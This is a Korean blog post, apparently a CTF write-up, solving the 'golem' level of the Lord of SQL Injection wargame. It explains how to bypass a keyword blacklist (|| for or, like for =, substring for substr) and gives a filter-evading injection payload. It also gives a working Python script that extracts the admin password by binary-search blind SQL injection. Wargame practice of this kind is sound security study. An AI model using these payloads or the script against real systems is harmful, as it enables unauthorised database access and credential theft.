일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- file upload
- 웹 개발
- cookie 탈취
- 웹 해킹
- XSS
- 과제
- 보안 패치
- 게시판 만들기
- blind sql injection
- 웹개발
- lord of sql injection
- css
- JS
- MySQL
- 로그인페이지
- Python
- sql injection
- 세션
- union sql injection
- Los
- sql injection point
- 보고서
- csrf
- 모의해킹
- 증적 사진
- Error based sql injection
- 문제 풀이
- 로그인
- CTF
- php
- Today
- Total
Almon Dev
[Lord of SQL Injection] golem 문제 풀이 본문
golem 문제 풀이
golem 문제
문제 분석
문제 목표
GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("golem") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 풀었을 때 호출되는 것으로 보입니다. 따라서 이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것으로 보입니다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
입력 제한
정규식을 이용해 prob, _(언더바), .(마침표), (, ), or, and, substr(, = 중 하나라도 입력될 경우 exit() 함수를 실행하여 PHP 코드 실행을 즉시 종료하도록 되어 있습니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
취약점 분석
pw 파라미터에 삽입한 값은 SQL 쿼리에 삽입되고 실행됩니다. 쿼리의 결과값이 존재할 경우 데이터베이스에서 가져온 id가 화면에 출력됩니다. 따라서 위에서 알아본 입력제한을 우회하여 SQL Injection을 이용하는 것이 문제 풀이의 핵심으로 보입니다.
우회방식
golem 문제와 같이 파라미터의 입력값을 블랙리스트 방식으로 필터링한 경우, 필터링되는 문자열을 알아낸다면, 그에 해당하는 같거나 비슷한 기능을 하는 다른 함수나 연산자를 사용하여 우회할 수 있습니다.
ex)
or → ||
and → &&
substr() → substring()
= → like
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
문제 풀이
1. ||, like를 이용해 or, = 필터링 우회가 가능한 것을 확인합니다.
2. 참과 거짓일 때 결과가 다른 것을 확인합니다.
=> Hello admin 출력 여부
3. Blind SQL Injectoin을 위해 공격 format을 생성합니다.
format => pw=1' || id like 'admin' %26%26 ascii(substring(pw,1,1)) >'0
ascii() 함수를 이용해서 가져온 값인 숫자와 '0'를 비교하지만 MySQL에서는 숫자와 문자를 비교할 때 자동으로 숫자형으로 변경해서 비교합니다.
=> # 주석을 사용하지 않고 문제를 풀기 위해 사용한 방법입니다.
=> &&를 %26%26으로 URL 인코딩하는 이유는, &가 URL에서 파라미터를 구분하는 특수문자로 사용되기 때문입니다. 따라서 GET 방식으로 전송할 때는 인코딩하여 전달해야 합니다.
3. Python 코드를 생성해 admin 계정의 비밀번호를 Blind SQL Injection으로 추출합니다.
Blind SQL Injection 방식
substring() 함수를 이용해 admin 계정의 비밀번호에서 한 글자씩 추출한 뒤, ascii() 함수를 사용해 해당 문자를 아스키 값 숫자로 변환합니다. 이후 비교를 반복하며 이진 탐색 방식으로 각 자리의 문자를 알아내는 방식을 사용했습니다.
이진 탐색
SQL Injection에서 결과값이 참과 거짓으로 나오는 점을 이용해서 탐색 범위를 반으로 줄여가며 효율적으로 값을 찾는 이진 탐색 방식을 사용합니다.
ex) 1 - 1000 사이의 숫자인 x를 찾을 때
x > 500 True
x > 750 False
x > 625 True
....
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def sqli_request(session, url, index, ascii):
parm = f"pw=1' || id like 'admin' %26%26 ascii(substring(pw, {index}, 1)) > '{ascii}"
url = url + parm
# response = session.get(url, proxies=proxies, verify=False)
response = session.get(url)
# print(response.text)
if "Hello admin" in response.text :
return True
else:
return False
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
sessid = "SESSID"
session = requests.Session()
session.cookies.set("PHPSESSID", sessid)
sql_result = ""
proxies = {
"http": "http://localhost:8080",
"https": "http://localhost:8080"
}
index = 1
while True:
left = 0
right = 127
if not sqli_request(session, url, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
if sqli_request(session, url, index, mid):
left = mid + 1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\r비밀번호: {sql_result}", end="")
break
4. 파이썬 코드를 실행하여 admin 계정의 비밀번호를 추출합니다.
5. 비밀번호를 pw 파라미터에 삽입해 문제 풀이를 완료합니다.
'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] giant 문제 풀이 (0) | 2025.04.24 |
---|---|
[Lord of SQL Injection] darkknight 문제 풀이 (1) | 2025.04.19 |
[Lord of SQL Injection] skeleton 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] vampire 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] troll 풀이 (2) | 2025.01.06 |